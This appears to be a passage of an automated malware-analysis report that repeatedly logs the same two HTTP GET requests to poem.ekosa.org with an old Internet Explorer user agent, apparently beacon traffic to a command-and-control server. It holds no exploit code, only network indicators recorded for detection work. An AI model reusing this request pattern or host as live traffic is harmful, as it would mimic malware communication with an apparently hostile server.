Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
